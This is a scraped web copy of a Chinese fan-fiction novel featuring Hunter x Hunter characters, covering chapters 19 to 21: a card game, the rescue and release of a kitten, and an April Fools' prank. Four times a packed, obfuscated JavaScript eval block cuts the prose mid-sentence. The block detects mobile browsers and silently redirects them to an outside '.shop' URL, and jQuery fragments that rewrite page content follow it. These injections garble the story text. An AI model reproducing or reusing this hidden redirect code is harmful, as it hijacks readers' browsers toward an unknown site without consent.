“是啊,”酷拉皮卡也笑,蓝眼睛弯起来,“因为你是新手,运气总站在新手那边。”
这句话半真半假。运气是一部分,更多的,是他想多看几次她因胜利而微微发亮的表情。
但很快,局势逆转了。
酷拉皮卡的牌风变了。不再是有意相让的松散,在牌桌上展现成一种近乎艺术般的控制力——赢得不着痕迹,却又让朝穗空清楚地感觉到,对手“认真”了。
她输了几局,没露沮丧,反而微微挺直了背脊,眼神更加专注,像只被激起了好胜心的小兽。
奇犽趁机换了个花样。他抽出鬼牌,将牌堆在她面前利落地展开成弧线。“教你个新玩法,”他说,“蜘蛛纸牌……嗯,或者叫,小心蜘蛛。”
“小心……蜘蛛?”朝穗空重复。
“对。”他的声音低了一些,炉火在他眼中跳跃,映出些许复杂难辨的情绪。
“蜘蛛很危险,它们织网,等待,一击必中。扑克牌里也有这样的‘蜘蛛’。” 他一边说,一边演示着游戏规则,指尖划过牌面,仿佛在勾勒无形的丝线。
“所以要小心拿扑克牌的。”
他顿了顿,抬眼看向她,目光仿佛穿透了时间,看到了未来那个与真实‘蜘蛛’纠缠、最终如扑克牌般散落的命运。
奇犽又想到了伊路米,无孔不入的控制欲。为了达到目的不择手段。
他们三个都是同一类人。
“还有,拿针戳人的,也要小心。”奇犽补充道。
这话没头没尾。朝穗空眨了眨眼,似懂非懂。
他收起眼底的晦暗,笑容重新变得明亮,甚至带了点恶作剧的味道:“不过现在,你只需要小心别被我赢光所有的‘筹码’!” 他指了指用作筹码的彩色小石子。
游戏继续。
屋外,雪落无声,天地纯白。
屋内,壁炉噼啪,光影摇曳。
扑克牌清脆的声响间,夹杂着偶尔的惊叹或轻笑。奇犽看着对面全神贯注的女孩,看着她因思考而微微蹙起的眉,看着她因获胜瞬间而发亮的脸颊,看着她那双全神贯注而亮起的双眸。
他也不自觉地跟着笑了起来。
上一次和朝穗空玩牌是什么时候呢?
奇犽想起来了。
是陷阱塔。
那个昏暗、潮湿、只有应急灯惨白光线的小房间。因为违反规则,他们五个人被考官摁在原地暂停进度,无处可去,无事可做。空气里是陈年石壁的土腥味,和一点点雷欧力欧因为紧张而渗出的汗味。
电子时钟缓慢地数着秒。
小杰在角落试图和墙壁上的青苔对话,酷拉皮卡闭目养神,雷欧力欧在唉声叹气。然后朝穗空从她那个总是鼓鼓囊囊的小背包里,摸出了一副扑克牌——边缘已经磨损,背面印着褪色的星星图案。
“要不要打牌?”她问,眼睛在昏暗里亮了一下。
那时候,她也教了他们这个玩法。
“这叫蜘蛛纸牌,”她盘腿坐下,纸牌在她纤细的手指间灵活地分成几摞,“或者,我叫它‘小心蜘蛛’。”她抬起眼,目光扫过他们,嘴角带着小小的、狡黠的弧度。
奇犽记得自己当时嗤笑了一声:“蜘蛛?这名字可真够怪的。”但他还是口嫌体正直地坐了过去,有的玩总比瞪着墙壁发呆强。
朝穗空讲解规则的声音在狭小的石室里显得清晰又安静。她的指尖点着那些‘蜘蛛’牌,语气轻快,却莫名让人联想到暗处潜伏的东西。
“要小心它们结网,”她说,“一旦被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261321|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缠住,就很难脱身啦。”
那局牌打得松散又心不在焉。
酷拉皮卡显然更关心时间流逝,出牌只是机械反应;雷欧力欧时不时就要抱怨一句这鬼地方;小杰倒是兴致勃勃,但注意力很快又被牌面上模糊的印花吸引。
只有奇犽,在朝穗空又一次用‘蜘蛛’牌设下陷阱、轻轻松松赢走他垒好的序列时,抬眼看了一下她。
她正低头整理赢来的牌,侧脸在微弱光线下有些模糊,嘴角却带着那抹小小的得意。
那一刻,奇犽忽然觉得,这阴暗压抑的陷阱塔,这被迫停滞的时间,还有手里那副破旧的扑克牌,都因为眼前这个捉摸不透的女孩,暂时变得……不那么难熬了。
“喂,”他那时开口,声音在石壁间撞出轻微的回音,“你这玩法,跟谁学的?”
朝穗空整理牌的手顿了一下。然后她抬起眼,那抹得意变成了某种更朦胧的东西,像隔着一层水雾,让人看不清楚。只有左耳的耳垂还在闪着细微的光亮。
“不记得了。”她笑了笑,把牌重新洗好,哗啦声在寂静中格外清脆,“只记得她说,蜘蛛要小心,拿扑克牌的人要小心,拿针戳人的也要小心。”
当时他们没人深究这句话。
酷拉皮卡可能皱了皱眉,雷欧力欧大概嘟囔了句“什么跟什么”,小杰眨了眨眼。奇犽只是觉得这话有点怪,有点故弄玄虚,像她这个人一样。
直到现在。
直到此刻,在这温暖的木屋里,炉火噼啪,窗外大雪无声,年幼的朝穗空正皱着眉,努力思考如何破解“蜘蛛”的网——直到他用同样的方式,说出几乎同样的话。
时间像一副被反复洗切的牌,某些关键的“点数”总会在意想不到的位置再次出现。
“喂,”他听到自己的声音响起,是对着眼前小小的朝穗空说的。却又好像穿透了时间的墙壁,对着未来那个在陷阱塔里洗牌的女孩。
“你这招‘蜘蛛’,用得还挺熟。”
朝穗空从牌局中抬起头,眼神有些茫然,显然没理解这句跨越了时空的调侃。她只是看了看自己手里的牌,又看了看奇犽,小声问:“我赢了吗?”
奇犽看了一眼牌面。
她差一张关键牌就能解开困局,而他手里正好有那张牌。
和陷阱塔里一样,和过去的无数次一样。
看着那双漂亮的眼睛,他选择给她,毕竟他已经是明晃晃的失败了,她获胜也只是时间问题。
“赢了。”他把那张牌轻轻放到她面前,看着她的眼睛瞬间被点亮,像星子落入深潭,漂亮得不像话。
“真厉害。”他说。
屋外,雪还在下,把世界裹进一片柔软的、无声的纯白里。
屋内,炉火继续燃烧,光影在墙上缓慢舞蹈。扑克牌散落在地毯上,彩色的小石子筹码东一颗西一颗。
奇犽看着女孩开心的笑脸,看着那枚冰蓝色耳坠在她耳垂上晃动的幻影,又想起陷阱塔里,她说“不记得了。”时,眼中那片朦胧的水雾。
原来如此。
原来如此。
19. chapter.19
春天来的很快。
三月的尾巴,山里的风还带着冬日未褪尽的寒意,吹过光秃的枝桠时发出哨子般尖锐的呜咽。
朝穗空是在一段被雷劈倒的朽木旁发现那只小猫的。它太小了,大概只有她两个巴掌大,灰褐色的皮毛乱糟糟地打着结,右后腿以一个不正常的角度扭曲着,血把毛发黏成暗红色的硬块。
尽管如此,当她的影子落在它身上时,那团小小的、颤抖的毛球还是猛地弓起了背,从喉咙深处挤出嘶哑的哈气声,琥珀色的瞳孔缩成两条细线,里面盛满了纯粹的、不加掩饰的敌意。
她站在三步开外,停下了脚步。
阳光从稀疏的树冠缝隙漏下,在地面投出摇晃的光斑。风送来泥土和腐烂树叶的气味,还有一丝极淡的血腥味。
她看着它,因为疼痛而无法抑制的颤抖却还是要竖起每一根毛、露出尖细乳牙恐吓敌人的模样。
她不明白。
奇犽站在她侧后方不远处的树影里,他没出声,只是默默地观察着她的反应。
他看见朝穗空垂在身侧的手,指尖微微蜷起,却没有进一步动作。她的脸上没有什么表情,甚至可以说有些冷漠,只是静静地看着面前龇牙咧嘴的小东西。
她不想救它。
这个认知在奇犽脑中清晰地浮现。
不是因为害怕,也不是因为麻烦。只是在衡量眼前的生命是否值得她去投入精力和风险。
奇犽在枯枯戮山的训练场时,面对‘练手’的活物,也会先进行这样的评估。
一股细微的、连他都未察觉的烦躁感,顺着脊椎爬上来。
小杰的声音同时在他意识里响起:‘它伤的好重!得帮帮它!’
酷拉皮卡和他一样也在观察她的反应:‘她好像在犹豫。’
奇犽打断他们纷杂的思绪,往前走了几步,在朝穗空身边站定。
“它受伤了。”他开口,声音放得很平,听不出任何情绪。
朝穗空没有回头,也没有接话,只是极轻微地侧了一下头,用余光扫了他一眼。
小杰蹲了下来,这个动作他做的很慢,带着一种近乎刻意的放松。他没有去看朝穗空,把全部注意力都放在了那只充满敌意的小猫身上。他伸出手,摊开掌心,平放在距离小猫一臂远的地面上。
这是没有威胁性的姿势。
小猫的嘶叫声陡然拔高,充满了警告,那对竖瞳死死锁定了那只摊开的手。
小杰屏住呼吸,视线从小猫颤抖的胡须,移到它因疼痛而抽搐的伤腿,再回到那双充满恐惧和戒备的眼睛。
他开始说话,声音压的很低,几乎成了气音。
“没事了,很痛吧,害怕是正常的。”
他说的内容其实无关紧要。重要的是语调——柔软,平静,像在哼唱一首没有词的、古老的安眠曲。他把身上所有的气息收敛,只剩下无害的信号。
小猫弓起的背脊,以肉眼可见的速度一点点松弛下来。竖瞳里的敌意被茫然取代。它歪了歪头,鼻翼翕动,似乎在努力分辨空气中这陌生却绝无危险的气息。
然后,它试探性地,朝那只手的方向,挪动了半步。
小杰维持着那个姿势,连指尖都没有颤动一下,像一尊被阳光镀了金的、充满耐心的雕像。他能感觉到身侧朝穗空的目光,正牢牢钉在他和猫之间。
这不是他第一次做这种事。更早之前,那只瘸腿的松鼠,那只翅膀折断的翠鸟……只要他愿意,总能轻易地让这些小东西安静下来。
他天生就和动物玩得来。
小猫终于蹭到了他的手边,湿漉漉的鼻子碰了碰他的指尖。然后,像是耗尽了所有力气,瘫软下来,蜷缩在他手掌旁,发出细弱的呜咽。
“可以了。”小杰这才抬起头,看向朝穗空,扬起一个大大的笑容,然后有些不好意思地挠挠头。“可以帮帮我吗,我们得把它带回去。如果就这样放着不管,它会死掉的。”
朝穗空抿了抿唇,走了过来。小杰已经脱下自己的薄外套,动作轻柔地将小猫裹了起来,只露出脏兮兮的小脑袋。小猫在他怀里发出微弱的呼噜声,彻底放弃了抵抗。
“抱着它要小心一点,”他将那团温热的、微微颤抖的小生命递过去,“轻一点,它骨折了,不能颠簸。”
朝穗空有些僵硬地接过。抱猫的姿势虽然生疏,手臂却收得很稳,指尖小心地避开了裹着伤处的布料。
“为什么?”她忽然问,声音干巴巴的,眼睛却看着怀里的小猫,“它刚才想咬你。”
小杰走在她身侧,闻言侧过头。光斑在他脸上游离,那双此刻是蓝色的眼睛在光线下显得异常清澈。
“因为它害怕呀,”他说,“疼痛和未知,会让任何生物亮出爪牙。那不是恶意,它们只是想活下去而已。”
“可它不认识你。”
“现在认识啦。”小杰高兴道,“它已经很努力在让自己活下去了,所以我救了它,只是对它努力的嘉奖。”
“而且生命是很宝贵的。”
“每一个挣扎着想要活下去的生命,都值得给予他一个机会。”
朝穗空没再说话,只是抱紧了怀里的小猫,垂下眼帘,遮住了眼底翻涌的情绪。
奇犽能猜到她在想什么——父母的血泊,独自蜷缩的日夜。或许在她心里,从未觉得自己那挣扎着想要活下去的生命,曾被谁真正地、温柔地给予一个机会。
他不再多言,只是沉默地领着她,走在回木屋的山道上。林间的风拂过,带着春寒和泥土的气息。
阳光将他们的影子拉长,投在布满青苔的石径上,偶尔交叠,又很快分开。
木屋的门在身后关上,隔绝了山风。
奇犽迅速进入状态。他让朝穗空把小猫放在铺了厚毛巾的旧篮子里,自己则去准备温水、干净布条和那个装着草药与简易工具的小木匣。动作麻利,条理清晰,没有一丝多余。
这次主导的,显然是雷欧力欧的意识。
那双手在触碰到小猫伤腿时,瞬间被一种专业的冷静取代。探查伤口、评估骨折情况的动作精准而高效。“胫骨骨折,创面不整齐,有泥土污染…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261322|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…失血量不大,但必须立刻清理。”他低声快速地说着。
朝穗空蹲在篮子旁,眼睛一眨不眨地看着。雷欧力欧能感觉到她目光的重量。
清创的过程不可避免会带来疼痛。昏迷的小猫在刺激下扭动,发出痛苦的呜咽。朝穗空的手指无意识地抓住了篮子边缘,指节微微发白。
“按住它肩膀,轻轻的,别让它乱动。”雷欧力欧头也不抬地吩咐,声音平稳。
朝穗空立刻照做,小手带着犹豫,却很坚定地按住了小猫瘦弱的肩胛。
接下来是敷药和固定。雷欧力欧从木匣里取出几味晒干的草药,放在石臼里。捣药的声音规律而沉闷,苦涩清冽的气味在空气中弥漫开。
他用木片将捣好的药糊仔细地敷在清洗干净的伤口上,动作熟练得像做过千百遍。
然后是最关键的固定。他用削得光滑平整的小木片作为夹板,衬上软布,再用干净的布条缠绕、打结。每一个结都打得又快又牢,力道恰到好处,既能固定住断骨,又不会影响血液循环。
朝穗空静静地看着,看着那双沾了草药汁液却稳定无比的手,看着那人低垂的、被额发遮住部分表情的侧脸,看着他偶尔用胳膊蹭掉额角汗珠的小动作。一种陌生的专注,凝固在她的眼眸里。
固定完毕,雷欧力欧又用温水浸湿的棉签,一点点擦拭小猫脏兮兮的脸和爪子。脏污褪去,露出浅灰色的、柔软的绒毛,耳朵尖上那撮深色的毛格外显眼。小猫似乎终于舒服了些,呼噜声变得绵长平稳,在温暖的毛巾里彻底睡沉。
做完这一切,雷欧力欧才直起腰,轻轻舒了口气。他走到窗边,就着盆里的水洗手。清凉的水流冲走指尖的草药颜色和淡淡的血腥味。
夕阳正沉,橘红的光透过窗户,将他的侧影和那片静谧的勿忘我花海染成温暖的色调。
“要给它取名吗?”
朝穗空的声音忽然从身后传来,很轻,带着一丝不易察觉的期待。
奇犽洗手的动作顿住了。
水声哗哗。他背对着她,目光落在窗外摇曳的花海上,但意识里却瞬间掀起了无声的波澜。
他关掉水龙头,用毛巾慢慢擦干手,然后转过身。夕阳的余晖从背后打来,让他脸上的表情有些逆光,看不真切,但朝穗空能清楚地看到他摇头的动作。
“不了。”他淡淡道,“它不属于这里。等伤好了,它得回到山里去。那是它的家,它的世界。”
朝穗空“哦”了一声,垂下头,手指无意识地抠着篮子粗糙的边缘,那点微弱的期待像火星一样熄灭了。她没再追问,只是又伸出手,用指尖极轻地碰了碰小猫耳朵尖上那撮深色的毛。
“那……我们只是暂时照顾它?”
“嗯。”奇犽走过来蹲下身,和她在同一水平线上看着篮子里安睡的小生命,“就像有时候,生命和生命只是短暂地交会,互相给予一点温暖和帮助,然后各自回到自己的轨道。”
他顿了顿,补充道:“但这短暂的相遇,本身就有意义。”
朝穗空似懂非懂,但没再说话。
20. chapter.20
愚人节那天的阳光,好得近乎刻意。
金灿灿的光束穿过洁净的玻璃窗,将木屋的客厅切割成明暗分明的几何图形。空气里漂浮着细微的尘埃,在光柱中缓缓旋转,像一场无声的、金色的雪。
奇犽端坐在餐桌对面,双手交叠放在膝上,背脊挺得笔直,连平时不自觉扬起的嘴角都抿成了一条严肃的直线。他刻意调整了呼吸,让胸腔的起伏变得异常平稳,目光直视着正在小口喝牛奶的朝穗空。
气氛被营造得有些凝重,与窗外过分明媚的春光格格不入。
朝穗空显然察觉到了。她放下杯子,陶瓷杯底与木桌碰撞,发出清脆的“咔”一声。牛奶在杯壁上留下一圈白色的痕迹。她微微坐直了身体,那双总是蒙着层薄雾的黑眼睛带着警惕,看了过来。
“朝穗空,”奇犽开口,声音压得比平时低,语速也放慢,每个字都像经过仔细斟酌后才吐出。
“有件事,我必须告诉你。”
朝穗空没说话,只是看着他,手指无意识地摩挲着温热的杯壁。
奇犽迎着她的目光,清晰地、一字一句地说:
“我可能要消失了。”
话音落下的瞬间,朝穗空说不上来是什么感觉,只是觉得自己的心一下子被抽紧,连带着手也只能死死捏着杯壁,紧紧抓住那握在手里的一点安全感。
客厅里所有的声音仿佛都被抽走了。在亮得晃人的阳光下,面前这个恶劣的女人面孔开始不断后退,变得模糊不清。
窗外的鸟鸣,远处溪流的潺潺,甚至壁炉里昨夜余烬冷却的细微噼啪,全都退到了遥远的背景之外。
只剩下话语悬在阳光灿烂的空气里。
而奇犽则密切地观察着朝穗空的反应。
他看到她先是愣住,黑眼睛微微睁大,瞳孔有一瞬间的收缩,像是没听懂,又像是拒绝理解。然后,那小小的眉头迅速拧了起来,不是悲伤,而是一种被冒犯般的、带着恼怒的困惑。
“你骗人。”她的声音响起来,比平时尖利一些,语速很快,带着一种急于否定什么的急切,“今天愚人节,我知道。”她甚至伸出手指,直直地指向他,“你明明还好好的。”
小杰的意识在深处轻轻‘啊’了一声,带着点恶作剧被戳穿的小小遗憾,但更多的是松了一口气。
雷欧力欧也被奇犽这个话语吓了一跳,嘀咕道:‘突然玩这么大,要吓到孩子了。’
酷拉皮卡保持着沉默,心绪复杂。某种程度上来讲,奇犽今天突然的话语,也是在为朝穗空打好预防针。拿尼加并没有说清时间,要是他们真的毫无预兆的消失,她该怎么办。
奇犽脸上那副精心维持的严肃面具,像被阳光晒化的春冰,“噗”地一声破碎了。
他眨了眨眼,随即,一个狡黠的、生动无比的笑容在他脸上绽开,肩膀轻轻晃着,连交叠的手都舒展开,指尖轻轻敲了敲桌面。
那笑容太过灿烂,以至于眼角都漾出了细小的纹路,金色的头发随着肩膀轻微的抖动而跳跃,在阳光下闪烁着碎金般耀眼的光泽。
“被你看穿啦!”他笑起来,声音恢复了平时的清亮,带着恶作剧得逞后毫不掩饰的愉快,“愚人节快乐,朝穗空!”
朝穗空明显地松了一口气,肩膀垮下来一点,但那双眼睛里刚刚升起的怒意并未完全消散,反而混合了一丝后怕的余悸。她抿了一口牛奶压下,没好气地瞪了他一眼:“一点也不好笑。”
“对不起嘛。”奇犽毫无诚意地道着歉,嘴角的笑意却怎么也压不下去。
他怀里的小猫,现在已经能灵活地四处乱窜,只在想睡觉时才会窝在他怀里。
似乎是被他的笑声惊动,迷迷糊糊地睁开琥珀色的眼睛,懒洋洋地“喵”了一声,在他臂弯里蹭了蹭,找了个更舒服的姿势,很快又打起了满足的呼噜。
这温馨的一幕让朝穗空紧绷的脸色稍微缓和了些。但酷拉皮卡并没有让话题就此结束。
他低头,用指尖轻轻挠了挠小猫毛茸茸的下巴,感受着那细小的、震颤的呼噜声通过指尖传来。
然后,他重新抬起头,看向朝穗空。这一次,他脸上的笑容淡去了些,眼底那些戏谑的光芒沉淀下去,取而代之的是一种更深邃、更复杂的情绪,像阳光无法完全照透的深海。
“不过,朝穗空,”他轻声说,声音放得很柔,“刚才虽然是玩笑,但有些道理是真的。”
朝穗空没接话,只是安静地看着他,等待下文。窗外的阳光在她脸上移动,照亮了她额前细软的绒毛和微微抿起的嘴唇。
“人与人的相遇和羁绊,有时候真的很奇妙,也很珍贵。”酷拉皮卡的目光投向窗外,睫羽轻轻垂了垂,越过那片在春风中摇曳生姿的勿忘我花海,投向更远处苍翠的、起伏的山峦线条。
“但生命就像一条长长的河流,每个人都有自己的源头和方向,有自己的路要走。”
他的声音很平静,像是在陈述一个再自然不过的事实。
“所以,有时候分别不是为了结束,而是为了让彼此都能继续向前。有时候,说‘再见’,是因为相信在未来某个意想不到的转角,大家会以更好的样子,再次相遇。”
他顿了顿,将视线从远方收回,重新落在朝穗空脸上。那目光柔和却坚定,仿佛要将他所说的每一个字,都轻轻烙进她的心里。
她低下头,看着杯中晃动的圆弧。阳光把她细小的影子,嵌进了木桌的纹理中。
“所以,即使有一天,我真的必须离开了,你也不用害怕,更不用难过。”他放缓了语速,几乎是一字一顿,“因为‘再见’这个词里,本身就藏着‘再次相见’的愿望和可能。”
然而,这混合了复杂心绪的、试图温和铺垫的话语,却在朝穗空那里遭到了最直接、最激烈的反弹。
几乎是话音刚落,朝穗空就猛地抬起了头。她的小脸绷得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261323|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧紧的,刚才那点缓和的神色消失得无影无踪,黑眼睛里闪着一种近乎执拗的光。
“才不要!”
她的声音不高,却带着一种斩钉截铁般不容置疑的力量。
酷拉皮卡微微一怔。
“才不要什么再见!”朝穗空的声音拔高了一些,带着孩子特有的、不管不顾的激烈。她放在桌上的手攥成了小小的拳头,指节因为用力而微微发白。
“是你说要养我的!你说过的!”
她瞪着他,眼睛睁得圆圆的,里面没有泪水,眼眶却红了起来。仿佛只要她否认得足够坚决,声音足够大,就能用语言构筑起一道屏障,将‘离别’这个可怕的词汇彻底挡在她的世界之外。
空气仿佛凝固了。
阳光依旧灿烂地流淌进来,照亮餐桌上细小的木纹,照亮牛奶杯边缘柔和的反光,也照亮了朝穗空脸上那份与其年龄不符的、固执般的认真。
啊,遭了。这些话他说的太早了。
她还是个孩子呢。
奇犽看着她,看了很久。他能感觉到意识深处其他三人的沉默。小杰的不知所措,雷欧力欧的叹息,酷拉皮卡了然的沉重。以及他自己胸腔里,那股骤然收紧的、混合着酸涩与钝痛的感觉。
晨光在他脸上移动,照亮了微微颤动的睫毛,和眼底那片翻涌的、近乎悲伤的温柔。他张了张嘴,喉咙里似乎堵着千言万语,关于命运,关于承诺的重量,关于他们此刻正在经历的、这场跨越时间的悖论与牺牲。
但最终,所有复杂的话语都消融了。奇犽伸出手,越过小小的、洒满阳光的餐桌,指尖先轻轻碰了碰她攥紧的拳背,见她没躲开,才小心翼翼地、轻轻握住了那只冰凉的小拳头,指腹轻轻贴在她发白的指节上。
她的手很小,拳头攥得紧紧的,冰凉,还有些发抖。
就像刚捡到小猫那时候它的样子。
他看着朝穗空的同时,朝穗空也在看着他。
他的手温暖而干燥,带着阳光和淡淡草药混合的、令人心安的气息。
奇犽收拢手指,将那冰凉的小拳头整个包覆在掌心,用一种缓慢而坚定的力度轻轻握住。
“嗯,”他低声应道,声音轻得像是叹息,却又沉得像是某种穿过时光洪流,给出的郑重的承诺,“我说过的。”
那一刻,他无比清晰地意识到,这个在愚人节随口说出的谎言,和随后许下的这个承诺,构成了一个无法拆解的悖论。他们正在用一场注定消失的陪伴,去实践一个不可能实现的誓言。
怀中的小猫,对此一无所知,粉粉的小舌头轻轻舔了舔他的手腕,又往他怀里缩了缩,依旧发出满足的、细细的呼噜声。
两个人都没有说话,只是那样握着。耀眼的阳光,落在两个人手腕的交接处,光影交叠,竟有些刺眼,连鼻尖都泛着淡淡的酸意。
今天的阳光,明晃晃的,有些刺眼。
他想。
21. chapter.21
进入五月,山里的绿意已经浓得化不开。各种不知名的野花挤挤挨挨地盛开在路边、岩缝,空气里弥漫着蓬勃的、近乎甜腻的生命气息。
小猫,它始终没有名字。已经能灵活地在木屋里上蹿下跳,拖着那条曾经断过的腿,轻盈地跃上窗台、柜顶,琥珀色的眼睛机警地打量着这个临时庇护所。
它对朝穗空的态度依旧微妙。不再充满敌意,但也不怎么亲近。偶尔会在她看书时,蹲在不远的椅子上,静静地看她一会儿。
更多的时候,则是绕在奇犽的脚边,用脑袋和身体蹭他的裤腿,或是在他坐下时,毫不客气地跳上他的膝盖,盘成一个毛茸茸的圈,喉咙里发出响亮的、满足的呼噜声。
雷欧力欧仔细检查了它的伤腿。骨头愈合得笔直结实,伤口处的新肉呈现出健康的粉色,覆盖着细软的绒毛。奔跑、跳跃时,那条腿已经看不出任何异常。
“差不多了。”雷欧力欧宣布,声音里带着医者看到患者康复时的欣慰“是时候让它回去了。”
五月十五日,天气好得让人心慌。
天空是那种被反复洗刷过的、毫无杂质的湛蓝,几缕云丝薄得透明,懒洋洋地挂在天边。山风带着草木和泥土被阳光晒暖后的芬芳,吹在脸上,暖洋洋的,让人莫名生出一种慵懒的、不愿思考的情绪。
午饭过后,奇犽没有像往常一样收拾餐桌。他走到窗边,小猫正蜷在那里阳光最盛的一小块地板上,把自己摊成一张暖洋洋的、毛茸茸的毯子,睡得肚皮一起一伏。
他蹲下身,伸出手,轻轻挠了挠小猫的下巴。小猫在睡梦中发出含糊的咕噜声,下意识地仰起头,迎合那熟悉的触碰。
“小家伙,”小杰的声音放轻,几乎融进了窗外吹来的暖风里,“可以回家了。”
小猫像是听懂了,睁开迷蒙的琥珀色眼睛,看了他一眼,然后伸了个长长的懒腰,每一个关节都舒展开,发出细小的“噼啪”声。它站起来,亲昵地用脸颊蹭了蹭他的手心,又“喵”了一声,声音绵软。
奇犽用那件已经洗得发软的旧外套,再次将小猫裹了起来。小猫在他怀里调整了一下姿势,找了个舒服的位置窝好。
“走吧,”他抱着猫,对一直沉默站在一旁的朝穗空说,“我们送它回家。”
‘回家’这个词,让朝穗空的睫毛几不可察地颤动了一下。她没说话,只是默默地跟在他身后,走出了木屋。
阳光炽烈,将他们的影子短短地压在脚下。路旁的野花开得热闹,紫的、黄的、白的,星星点点,蜜蜂忙碌的嗡嗡声不绝于耳。
一切都充满了生机。
朝穗空的脚步,却比来时沉重了许多。她低着头,看着自己踩在柔软草地上的鞋尖,看着那些被惊动的小虫匆忙跳开。
他们来到了当初发现小猫的那段朽木附近。雷击的焦黑痕迹还在,但周围已经冒出了新的蕨类和青草,几乎要将那段死亡的木头重新包裹进生命的绿色里。
奇犽停下脚步,将小猫轻轻放在一块平坦的、被太阳晒得暖烘烘的石头上,解开了裹着它的外套。
重获自由的小猫没有立刻跑开。它先在石头上站稳,用力抖了抖全身的毛,阳光下,灰褐色的皮毛泛出健康的光泽。然后,它跳下石头,在奇犽脚边留恋地绕了两圈,用脑袋和身体一遍遍蹭着他的腿,喉咙里发出响亮的、近乎撒娇的呼噜声。
奇犽蹲下身,最后一次,用手指梳理它背脊上光滑的皮毛,揉了揉它耳朵尖上那撮标志性的深色绒毛。
“去吧,”他轻声说,拍了拍它的小屁股,“你的山林在等你。”
像是得到了许可,小猫后退两步,深深地看了他一眼。然后转身,轻盈地跳上了旁边的一块更高的岩石。它站在岩石上,山风拂过,吹动它颈边的毛发。它回过头,琥珀色的眼睛在阳光下清澈透亮,望向他们。
就在朝穗空以为它要转身离开时,小猫的视线忽然转向了她。
朝穗空愣住了。
小猫从岩石上轻盈地跳下来,迈着从容的步子,走到她面前。它抬起头,那双琥珀色的眼睛静静地凝视着她,里面没有了以往的警惕或漠然,只剩下一种平静的、近乎告别的东西。
然后它凑上前,用毛茸茸的、带着太阳温度的脸颊,轻轻地、非常短暂地,蹭了一下朝穗空垂在身侧的手。
带着一点点粗糙的质感,和无比清晰的、活生生的温度。
这是第一次。
它主动触碰她。
也是最后一次。
一股汹涌的、完全不受控制的酸涩感从胸腔最深处炸开,冲上鼻腔,直逼眼眶。朝穗空的视野瞬间模糊,温热的液体毫无预兆地涌出,漫过眼角,顺着脸颊滚落。
她甚至没来得及感到难堪,没来得及别过脸,没来得及做出任何掩饰的反应,眼泪就这么自顾自地、安静地流淌下来。
她没有发出声音,只是站在原地,微微低着头,任由泪水一颗接一颗地砸在脚下的青草上。
为了这只终于蹭了她一下的小猫,为了这两个月来那些安静的、时常被她忽略的陪伴——它在篮子里熟睡时的呼噜,它在窗台上晒太阳的背影,它偶尔投来的、短暂的一瞥,也为了某种更深沉的、她尚且无法完全言说的东西。
关于到来。
关于温暖。
关于毫无理由的庇护。
以及,关于注定的、温柔的离别。
一只手,轻轻落在了她的肩膀上。
温暖,稳定,带着抚慰的力度。是奇犽。他没有说话,也什么都没有问。他甚至没有看她,只是站在她身侧,手搭在她的肩上,目光和朝穗空一样,望向岩石的方向。
小猫最后回过头,冲着他们清晰而响亮地“喵——”了一声,那声音在山谷间激起细微的回响。然后,它转过身,几个轻盈得不可思议的跳跃,便消失在了茂密的、在阳光下闪闪发亮的灌木丛后,彻底融入了那片属于它的、广阔而自由的山林。
风还在吹,带着草木热烈的香气。阳光依旧慷慨地泼洒,将世界照得一片明亮晃眼。蜜蜂依旧忙碌,鸟儿依旧鸣唱。世界的运转,没有为这场小小的别离停顿半分。
但有什么东西,确确实实地、结束了。
朝穗空的眼泪慢慢止住了。她用手胡乱抹了把脸,皮肤被泪水浸得发紧,被山风一吹,凉飕飕的。肩膀上那只温暖的手,也适时地、无声地收了回去。
两人在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261324|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原地又站了一会儿,听着风声,听着远方的鸟鸣。然后,在某种无声的默契下,他们转身,沿着来时的路,慢慢地往回走。
路似乎变长了。阳光将他们的影子斜斜地拉长,投在开满野花的小径上。离木屋越来越近,已经能看到屋顶的烟囱,和屋前那片在午后的光线下蓝得愈发浓郁的勿忘我花海。
